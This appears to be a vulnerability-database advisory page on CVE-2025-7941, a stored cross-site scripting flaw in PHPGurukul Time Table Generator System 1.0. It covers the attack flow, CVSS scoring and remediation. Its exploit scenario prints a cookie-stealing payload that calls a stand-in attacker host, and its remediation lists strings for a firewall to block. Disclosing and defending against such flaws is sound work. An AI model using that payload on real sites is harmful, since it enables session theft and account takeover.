PHPGurukul Time Table Generator
CVE-2025-7941
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain admin credentials
-
DeliveryLogin to Time Table Generator
-
ExploitNavigate to /admin/profile.php
-
InstallInject XSS payload in adminname field
-
C2Save malicious profile
-
ExecuteVictim admin views compromised profile
-
ImpactJavaScript executes in victim's browser
-
Step 8Attacker steals session/credentials or performs admin actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the following concrete conditions: (1) Valid admin-level credentials to access and modify the /admin/profile.php page (PR:L - Login Privilege Required); (2) The adminname parameter must be rendered in HTML context without sanitization or encoding; (3) A victim admin or user with sufficient privileges must view the compromised profile page for the payload to execute (UI:P - User Interaction Required). The vulnerability does NOT require any special deployment configuration or non-default settings - it is present in standard installations of version 1.0. Authentication is mandatory; unauthenticated remote attackers cannot directly exploit this vulnerability, though attackers with stolen credentials or those who have compromised an admin account can execute the attack. The user interaction requirement (UI:P) means the payload is triggered only when another user visits the admin profile page, not automatically or server-side. |
| Impact | Despite the low CVSS score of 2.0, this XSS vulnerability presents moderate real-world risk in an educational institution context. The EPSS score of 0.07% (21st percentile) indicates low statistical likelihood of exploitation attempts, yet contradicts the presence of publicly available POC code - suggesting targeted rather than opportunistic attacks. The CVSS vector reveals critical limiting factors: PR:L (requires login as admin user), UI:P (requires user interaction to trigger), and minimal impact scope (VI:L only). These constraints mean exploitation requires either credential compromise or social engineering of an existing administrator. However, the attack vector (AV:N) allows remote delivery, and the presence of public exploit code lowers the barrier for attackers who gain admin credentials. In a small educational deployment with weak password practices, this becomes a realistic privilege-escalation or lateral-movement vector. The low EPSS despite public POC availability suggests this CVE has not yet achieved widespread scanning or exploitation - organizations with already-compromised admin accounts face higher risk than those with strong access controls. The integrity impact (VI:L) limits the damage to reputation/defacement rather than data exfiltration or system compromise. |
| Exploit ScenarioDerived | An attacker with a compromised or obtained admin credential logs into the Time Table Generator System and navigates to /admin/profile.php. In the adminname field, the attacker injects a malicious JavaScript payload such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'. Upon saving the profile, the payload is stored in the database. When another administrator or staff member views the admin profile page, the injected script executes in their browser, silently exfiltrating their session cookie to the attacker's server, enabling account takeover. Publicly available POC code demonstrates this exact payload structure, reducing the attacker's technical barrier significantly. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Stored cross-site scripting (XSS) in PHPGurukul Time Table Generator System 1.0 allows authenticated users to inject malicious scripts via the adminname parameter in /admin/profile.php, affecting other users who view the compromised admin profile. The vulnerability requires user interaction (UI:P) and authenticated access (PR:L), limiting direct impact to integrity (VI:L), but publicly available exploit code demonstrates feasibility for authorized attackers to escalate privileges or perform actions on behalf of administrators.
RemediationAI
Primary remediation requires upgrading from version 1.0 to a patched release; however, no specific patched version is currently documented in vendor advisories. Contact PHPGurukul directly at https://phpgurukul.com/ to request a security update or patch for this XSS vulnerability. As an immediate compensating control, restrict access to the /admin/profile.php endpoint using web application firewall (WAF) rules that block requests containing script tags or event handlers in the adminname parameter (e.g., block strings containing '<script', 'onerror=', 'onclick='). Additionally, implement strict output encoding: ensure all admin profile data displayed in HTML context is HTML-entity-encoded and all JavaScript context uses JavaScript escaping before rendering. Enforce Content Security Policy (CSP) headers with script-src 'self' to prevent inline script execution even if XSS payloads are injected. Require multi-factor authentication (MFA) for all admin accounts to reduce the likelihood of credential compromise. These mitigations do not fix the underlying code flaw but prevent exploitation of this specific attack vector until a vendor patch is released.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the admin profile management functionality (/admin/profile.php) of a PHP-based educational scheduling application. The adminname input parameter fails to properly sanitize or validate user-supplied data before storing or rendering it in the application context, allowing injection of arbitrary HTML and JavaScript. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) vulnerability in a server-side PHP application where user input is reflected or stored without encoding. The affected CPE indicates this is specifically the Time Table Generator System version 1.0 from PHPGurukul, a platform commonly used in educational institutions for managing class schedules.
Know when Time Table Generator System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
A vulnerability, which was classified as problematic, was found in PHPGurukul Time Table Generator System 1.0. Affected is an unknown function of the file /admin/profile.php. The manipulation of the argument adminname leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
More in Time Table Generator System
View allA vulnerability was found in PHPGurukul Time Table Generator System 1.0. Rated medium severity (CVSS 6.9), this vulnerab
A Reflected Cross-Site Scripting (XSS) vulnerability was discovered in the profile.php file of PHPGurukul Timetable Gene
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB